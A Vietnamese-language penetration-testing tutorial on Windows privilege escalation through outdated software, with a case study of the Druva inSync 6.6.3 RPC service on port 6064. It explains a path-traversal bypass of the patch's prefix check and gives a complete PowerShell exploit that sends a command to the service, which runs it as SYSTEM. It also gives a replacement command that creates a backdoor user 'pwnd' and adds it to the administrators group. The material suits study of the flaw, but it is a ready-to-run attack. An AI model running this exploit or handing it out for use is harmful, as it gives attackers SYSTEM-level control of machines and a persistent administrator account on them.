Có một số phần mềm không được cập nhật thường xuyên nên có thể có chứa các vulnerability. Ta có thể tìm tất cả các phần mềm và version của chúng thông qua lệnh:

wmic product get name,version,vendor

Cần lưu ý là câu lệnh này có thể không liệt kê được hết tất cả các phần mềm bởi vì một số phần mềm có cách cài đặt khác với thông thường. Do đó, ta nên xem xét thêm cả các service đang chạy cũng như là các dấu vết của các phần mềm đã được cài đặt ở trên target machine.

Case Study: Druva inSync 6.6.3

Phần mềm Druva inSync phiên bản 6.6.3 chạy một RPC (Remote Procedure Call) server ở port 6064 với các đặc quyền của tài khoản SYSTEM. RPC server cho phép gọi thực thi các procedure của phần mềm từ xa, một trong số đó là procedure thứ 5. Procedure này cho phép người dùng có thể thực thi bất kỳ câu lệnh nào, và do chạy với các đặc quyền SYSTEM nên các câu lệnh của người dùng cũng được thực thi với các đặc quyền của SYSTEM.

Ở trong phiên bản 6.5.0, một bản vá của phần mềm đã sửa lỡ hổng này bằng cách chỉ cho phép câu lệnh thực thi với prefix là C:\ProgramData\Druva\inSync4\. Tuy nhiên, chúng ta vẫn có thể dùng path traversal để bypass. Giả sử nếu ta muốn thực thi chương trình C:\Windows\System32\cmd.exe thì ta có thể bypass như sau:

C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe

Hình ảnh dưới đây là minh họa cho cách giao tiếp với port 6064:

Đây là một exploit được viết bằng shell script của PowerShell:

$ErrorActionPreference = "Stop"
 
$cmd = "net user pwnd /add"
 
$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)
 
$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);
 
$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Ta có thể thay giá trị của biến cmd lại thành câu lệnh sau:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

Câu lệnh vừa thay giúp tạo ra một user có username là pwnd và password là SimplePass123. Đồng thời nó cũng thêm user đó vào nhóm administrators.

Chạy đoạn shell script trên và ta sẽ có một user với username là pwnd có các đặc quyền của administrator. Ta có thể đăng nhập vào target machine hoặc chạy cmd.exe bằng tài khoản với đầy đủ các quyền của administrator.

Resources